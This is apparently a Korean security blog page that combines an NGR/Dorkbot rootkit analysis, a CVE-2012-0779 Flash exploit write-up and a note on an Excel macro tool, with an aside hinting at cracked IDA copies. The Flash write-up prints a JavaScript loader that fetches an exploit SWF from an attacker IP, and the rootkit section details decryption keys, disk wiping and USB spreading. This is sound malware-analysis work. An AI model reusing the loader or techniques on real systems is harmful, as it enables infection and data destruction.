IDA ELF 플러그인 

현재는 별로 쓸일이 아에 없어보이고..나중에 7과 8이 대세를 이룰때 필요한 것일듯....

난 이거보다.....64비트 헥스레이가 어서 나왔으면 좋겠구려!!!ㅠㅠ 

EFI Scripts for IDA Pro.rar

------------------------------------------

IDA 6.6 크랙버젼은 공개 못하지만......찾아보면 있어요....64비트 및 ELF 되는거..ELF되나;;리눅스는 우리 잘하는 효제 있어서 안해봤는데 ㅋㅋ 여튼...ELF로 가능할겁니다

아고고.....요즘 너무 바쁘고 시간없고 날씨고 안좋고, 무릎도 아프고....술도 많이 먹고 했더니;;;글을 못썼네요^^;;;간만에 하나 투척~~ㅎㅎ

http://www.malware.lu/page/articles.html

좋은사이트네요. 분석정보를 이만큼 잘 제공해주는 사이트는 거의 못본듯 ㅋㅋ 이런걸 보고 나이스~~!!

귀찮으니 스샷은 패스~.....

아....요즘은....파이썬이 대세구나...델파이랑....델파이....제귈 망할 쓰레기 아오!!!~_~ㅋ 

아 이거 얼마전에 봤는데 ㅋㅋ 기능겁나 많네 이러면서 외국 및 SNS 다 터네 생각했는데...이게 진짜 BOT중에 BOT이더라...기능 오지게 많음; 그리고 러시아 도메인쪽 들어가고..계산기랑 그림판 띄어서 인젝션으로 돌아가는것같던데..상세는 아니니 패스ㅋㅋ 여기까지만

http://resources.infosecinstitute.com/ngr-rootkit/

A Chat With NGR Bot

1. Executive Summary

NGR Bot (also known as Dorkbot) was examined to be a user-mode rootkit that could be remotely controlled via Internet-Relay-Chat (IRC) protocol. It was designed with the intention to steal digital identity, perform denial of service, and manipulate the domain name resolution (see image below for the impact analysis). This article aims to provide some technical insights of this NGR Bot V1.0.3 sample (MD5 “1CA4E2F3C8C327F8D823EB0E94896538″) on the following topics: (1) Encryption & tampering detection mechanism, (2) Functionalities, (3) Hooking technique, and the (4) Architecture Set-up for communicating with this malware.

Figure 1 Impact Analysis of NGR Bot

1. Encryption and Tampering Detection Mechanism

During execution, the Data Section was decrypted to reveal malicious data to be used; and an integrity check was performed to ensure that the malware had not been tampered with. See Figure 2 for the pseudo code to decrypt Data Section and perform malware integrity check.

Figure 2 Protection Mechanism

The image base location (retrieved at 8 bytes off Process Environment Block (PEB)) of the loaded executable module was then used to locate the beginning of the executable module. It was identified that the section headers were iterated until the first four bytes (of the section name) was found to be 0x7461642E (or “tad.”). As it was DWORD comparison, “tad.” should be read as “.dat” because of the little endian. Hence, it was obvious that the malware was looking for Data Section. After the data section had been identified, the entire section content was decrypted using RC4 with a 5-byte key “haxer“. See Figure 3 for the pseudo code to decrypt Data Section.

Figure 3 Decrypt “.data” Section

After the data section was decrypted, a number of bot related data (an array of integrity check structures located within the data section) was further decrypted using RC4 with a 32-byte key “27 84 23 64 63 34 04 27 C0 27 A3 99 D6 16 58 32 BE 38 F9 EB 10 46 E1 3C E3 77 E6 1C D0 84 60 03“. The integrity check structure was defined as follows:

struct IntegrityCheckStructure

{

char* stringValue;

DWORD stringLen;

DWORD precomputedHashValue

}

The string value of the integrity check structure was hashed and compared with the pre-computed hash value. Suppose that these two values were different, the data would be considered tampered with. The malware would then proceed to launch a new thread to delete the Master Boot Record (MBR) and format the hard disk.

Figure 4 Integrity Check

In order to wipe the MBR, the malware created a file handle to access “\\.\PHYSICALDRIVE0” and overwrote its first 512 (0×200) bytes (see Figure 5). This effectively prevented the victim from booting up the operating system.

Figure 5 Wipe MBR

Similarly, to wipe the hard disk, the malware also adopted the same technique by creating a file handle to access “\\.\PHYSICALDRIVE0″. Using this handle, a while loop was used to overwrite the disk data (see Figure 6). This would be very disastrous as it could result in the loss of data.

Figure 6 Wipe Disk

1. Functionalities

Since a number of research articles have already identified its functionalities, this paper shall emphasize on some of its interesting functions: (1) Bot sorting, (2) Identity stealing, and (3) Malware spreading. Below tabularizes some of the commands that this malware could possibly process. The command is prepended using different symbol for different version e.g. “!“, “~” or “.“. For the examined sample, the prepended symbol is “.” (a full stop). For example, to display the bot version, the attack would need to send “.v” to the bot.

Table 1 Sample Bot Commands

1. Bot Sorting
   

This malware has been observed to offer the attacker the versatility to sort bots using four different ways: (1) Locality, (2) Access privilege, (3) Bot version and (4) Newness. Figure 7 shows examples where bots are grouped based on locality, access privilege and bot version. This flexibility would ease of command and control over the botnet, allowing the attacker to send specialized instructions for each bot groups.

Figure 7 Command and Control Through Grouping

The locality information was found to be retrieved from “api.wipmania.com“, which was a misused benign web site. Suppose if the IP address was recognized to be from Singapore, the malware would define its locality as “SG”. This could possibly allow the attacker to send malicious messages for the bot to spread with location-specific context to increase its credibility.

When the malware attempted to connect to “api.wipmania.com”, it was observed that the user agent was spoofed with the value “Mozilla/4.0” as depicted in Figure 8. Network analyst could possibly use this as a tell tail sign to identify traces of infection.

Figure 8 Spoofed User-Agent

1. Identity Stealing
   

Stealing digital identity (username and password) was found to be one of NGR Bot’s most useful features. A majority of the targeted web sites was email messaging platforms (e.g. Gmail) and social networking sites (e.g. Facebook and Twitter). Other than those mentioned sites, it was interesting to see that the hacking forum (i.e. HackForum) and dynamic DNS sites (i.e NoIP and DynDNS) were also targeted by the attacker. The figure below reveals the list of targeted web sites for digital identity stealing. However, these malicious attempts might be irrelevant if the targeted links (or post variables) were changed by the portal owner.

Figure 9 List of Targeted Web Sites

1. Malware Spreading
   

The size of a botnet is often used to measure its worth. Hence, it is important for the malware owner to design a bot that spreads easily. In this example, the NGR bot was identified to spread itself through USB removable drives, social networking sites, and messaging clients.

To spread via removable drive, two different techniques were leveraged: (1) Creation of short-cut link (LNK) files to disguise as a legitimate user folder, and (2) Windows auto-run mechanism.

Newly inserted USB device was detected by the malware, using device notification mechanism, to prepare for USB removable drive infection. See Figure 10 for the pseudo code to register for such notification.

Figure 10 Notification Registration

1. Spread via LNK File (Social Engineering)
   

The malware was found to spread itself using LNK files with the following steps:

1. Create a hidden folder named “RECYCLER” in the root of the removable drive, and duplicate a copy of the malware in this hidden folder.
2. Set the folders at the root of the removable drive as hidden folders.
3. Create a LNK file for each hidden folder with the same name.
4. Configure the “target” property of the LNK file to execute the malware (hidden at the “RECYCLER” folder) and open its corresponding hidden folder. E.g. “folder1.lnk” would run the malware and open a folder named “folder1″.

When the “folder” was opened in another machine using the LNK file (that has an icon that looks like a folder), the malware would run in that machine. The figure below exemplifies this infection process.

Figure 11 LNK File Spreading Mechanism

1. Spread Via Auto Run
   

Apart from spreading using LNK file, NGR bot could also be configured to spread using Windows auto run mechanism (with “.mod usbi on” command).

With the auto run mechanism switched on, the malware would create an additional configuration file (autorun.inf) for each detected removable drive. By this way, it would increase the probability of spread with the aid of auto run and auto play windows feature.

The autorun.inf file created was obfuscated by two ways to evade AV detection: (1) Randomization of configuration item sequence, and (2) Insertion of garbage data between configuration items. Since garbage data would not be processed by Windows, it would not impair the parsing of autorun.inf. The figure below shows an example of the obfuscated autorun.inf file.

Figure 12 Obfuscated Autorun.inf

1. Malicious Link Spread Mechanism
   

Other than removable drive, the attacker could also spread the malware by sending out malicious links with messages through messaging client (such as pidgin.exe, msnmsgr.exe, msmsgs.exe and wlcomm.exe) and social networking sites (using features such as messaging, wall, comments and tweets). One way to craft a convincing message is to include contents with location-specific context and send it to relevant bot groups.

Below reveals a list of targeted social networking sites that were used as spreading platforms. Interestingly, one of the targeted sites was identified to be a popular Russian social networking site, i.e. Vkontakte aka VK.

Figure 13 List of Targeted Http Spreading Platform

1. Hooking Technique

Inline hooking technique was used by this malware to modify Windows API results. This allowed the malware to hide its malicious artifacts and modify the network responses. Below tabularize the API of its interest.

Table 2 List of Hooked API

In order to hook an API, the following actions were performed. Firstly, the first 16 bytes of the API entry point were read to prepare a code cave (which “undo” the trampoline) to facilitate the malware to invoke the original API. Subsequently, the first few bytes (minimally 5 bytes) at the function entry point were then patched with a trampoline code which performs a jump to the malicious detour function. In another words, the detoured function would be invoked whenever the injected process calls upon the hooked API.

On the other hand, to invoke the original API, the code cave, which was only known to the malware, would be called instead. This code cave would “undo” the trampoline by running the code prior to the patched code (the first few bytes that were replaced), and jump into the API function body (at a computed offset w.r.t the function entry point) for execution of the remaining code. See Figure 14 and Figure 15 for the pictorial explanation and pseudo code respectively.

Figure 14 Inline-Hooking Explained

Figure 15 Pseudo Code to Hook One API

1. Communication Architecture Set-up

Although the supported commands are necessary, it is insufficient to set up systems to communicate with this malware due to the lack of authentication information. The bot owner was authenticated stealthily via IRC messaging headers which contained the domain name of the sender. In this sample, the malware would only respond to the IRC message from the sender with the domain named “gov.ba” (see figure below). However, it is also important to note that this domain could be easily spoofed simply by setting up a custom DNS server to be used by the IRC server. Hence, any arbitrary domain name could be selected purely for “authentication” purposes.

Figure 16 Search for “gov.ba”

The figure below shows one possible way to set up systems to communicate with the malware. In this set-up, three machines are required: (1) Server to host services, (2) Victim machine to be infected and (3) Attacker machine to control the malware.

Optionally, if you have a complete understanding of your NGR malware sample, you may want to configure the machines to have partial Internet access to witness how this malware steals the login credentials. Please note that different malware variants may have different behaviors, and misconfiguration may result in further dissemination of the malware. Do this at your own risk!!!

Alternatively, you may want to view the video to see how some of the malware commands were used to control this malware.

Figure 17 System Architecture to Communicate with NGR Bot

The nickname of the malware generated was partial-randomized based on the following convention:

<Newness>{<Country code><Platform><Admin or user>}<Random string>, where

1. <Newness> is an optional character represented with “n” if the machine is deemed newly infected. If the nickname is generated within the same hour of infection, it would be prepended with the letter “n”. E.g. If the infection was at 3.30pm and a nickname was generated at 3.59pm on the same day, the nickname of the malware would be prepended with “n”. However, if the malware regenerated the nickname at 4.00pm, its nickname would not be prepended with “n”.
2. <Country code> is the locality information retrieved from “api.wipmania.com“
3. <Platform> is the type of Windows platform which could be XP, 2K, 2K3, 2K8, VIS or W7.
4. <Admin or user> is represented by either “a” or “u” which respectively means administrative or user rights.
5. <Random string> is random 7 lowercase alphabet characters.

1. Conclusion

NGR Bot was a fairly complex user-mode rootkit that was generally designed to steal credentials from targeted websites and perform denial of service. Below are some interesting observations to conclude this analysis.

1. Stream cipher (RC4) and tamper detection mechanism were employed to protect the malware for confidentiality and integrity. It would aggressively retaliate against the crackers by formatting the hard disk when threatened. This could possibly result in the loss of important data within the machine.

• Sort mechanism was utilized to aid the attacker in performing tasks more effectively. For example, the attacker could possibly send out contextualized malicious messages to relevant groups to increase their chances of success.
• IRC messages were authenticated stealthily by checking the IRC message header to ensure that the “domain” of the sender was correct. To achieve this, the custom DNS server (used by the IRC server) has to be configured such that the IP address of the attacker is reversed-resolved to the desired domain name. Hence, this is a more secure method to authenticate as compared to using a password (which could be easily identified).
• User-agents could be a tell-tail sign to identify traces of infection. In this instance, “Mozilla/4.0″ was used by this malware as its user-agent, and this is an unusually short string to be a legitimate user-agent.
• Protocols over non-corresponding port could be also used to track anomalies over the network, e.g. port 1866 (instead of 6666 or 6667) was used for IRC communication. Minimally, desktop firewall should be used to prevent unnecessary Internet access over a non-standard port.

Incoming search terms:

• spider-man suite case
• chong rong hwa
• mexican woman beheaded
• mexico narco news
• philippines wft
• plug in 2 things
• trojan engineering logo

A look at object confusion vulnerability (CVE-2012-0779) in Adobe Flash

Recently I noticed an interesting blog entry in contagiodump: it was about a new attack using CVE-2012-0779, that involves a MS Word file named "World Uyghur Congress Invitation.doc". It got me curious, so I started analysing it.

To investigate this file I used FileInsight, it is a simple hex editor that supports OLE format. I searched in the object inside the ObjectPool field and found some useful information.

In particular, you can find this object in the CompObj stream:
   

   

   
and a CLSID in the OCXDATA stream:
   

   
   

Also, in the last screenshot you can notice a JavaScript code listing an url that points to a Flash file:
   

javascript:eval(document.write(unescape('%3Cembed%20src%3Dhttp://204.45.73.69/essais.swf?info=789c333230d13331d53337d633b3b432313106001afa0338&infosize=00FC0000%3E%3C/embed%3E')))
   

I searched for this data and discovered that ScriptBridge is the name for AE24FDAE-03C6-11D1-8B76-0080C744F389, and found a nice article, explaining that this CLSID allows the navigation to an url without requiring any user interaction. This is really a powerful feature for malicious purposes!
   

Now let's focus on "essais.swf". This is a CWS file (a compressed SWF file), but we don't care about this detail as opening it with Trillix will unpack it by default.
   
This file is encoded by DoSwf:
   

     

   

We need to unpack the DoSwf layer in order get to the exploit code, but Trillix fails at decompiling the ActionScript of the packed Flash file. So i searched for other similar Flash files related to this attack, and found "exp.swf" from the jsunpack website.
   
This time Trillix is able to show us the decompiled ActionScript code of the packer:
   

  

   

Here we go, this code shows a xor encryption! Searching for a decryption script I found this one, but it doesn't work as it is.

So, I rearranged the code to make it work with this sample. I only had to use the "decrypt" function properly, and fix the following lines:

   

byte block_size = (byte) (buffer.get() - 1);

byte key = (byte) (buffer.get() - 1);

int offset = buffer.getInt() - 2;

int length = buffer.getInt() - 2;

   

Once decrypted and decompressed, the result will be a file containing three concatenated Flash files. The first and third Flash files are from the DoSWF and only contain some metadata and license information. The original malicious Flash file is the second one, and you can find it here (thanks to contagiodump for the link).

This is our final exploit! If we give a look at the code we will find: a shellcode (line 23); a heapspray (line 133); some other stuff including cookies usage, a Rtmp connection and some control on the Windows version.

I'm unable to determine where the vulnerability is: maybe the exploit works only on certain software conditions, or maybe the Rtmp connection is involved in some way, or there's some other missing detail... I don't know! I think that I haven't got enough information to fully understand what happens, but at least here it's an idea of how the attack is structured: more complicated than usual .doc based attacks!

One final detail about the .doc file: as usual a exe file is appended at the end of the OLE, this one is a PE encrypted with a byte-per-byte xor using 0x70 as key (bytes that are 0 or 0x70 are not encrypted).

다음은 매크로 바이러스로 shell 코드를 만들어 윈도우의 프로세스에 대한 정보를 가져온 화면이다.  기본적으로 엑셀은 매크로

에 대해 디폴트로 사용안함으로 되어있기 때문에 해당 파일의 악성파일로 변하기위해서는 레지스트리의 값을 변경하는 동작부

터 구현되어야 할것이며, 이것을 이용하여 프로세스 목록 또는 특정 프로세스의 정보들을 가져갈 수 있다. 또한 다양한 옵션으

로 일시정지, 강제종료 등 다양한 기능이 동작될 수 있다. 

해당 엑셀안에 동작하는 매크로들의 화면이며 현재 코드는 정확히 분석되어있지 않으며, 대략적으로나마 프로세스에 대한 정보

들을 이용하기 위한 함수의 이름들을 확인할 수 있다. 

해당 파일은 해외의 사이트에서 가져온 파일을 토대로 간단히 본 부분이며, 엑셀을 이용해 다양한 기능을 구현할 수 있다는 점

을 알려 주기위한 글이다. 고로 짧게 쓴다~ㅎㅎㅎㅎㅎ 해당 파일이 궁금하신분은 아래 사이트 가서 파일을 구할 수 있다.

(참고로 악성기능이 없는 단순간 프로세스 관리 파일이다. 걱정은 안해도 될듯하다)

http://blog.didierstevens.com/2012/05/01/update-taskmanager-xls-v0-1-3-killer-shellcode/

TaskManager_V0_1_3.zip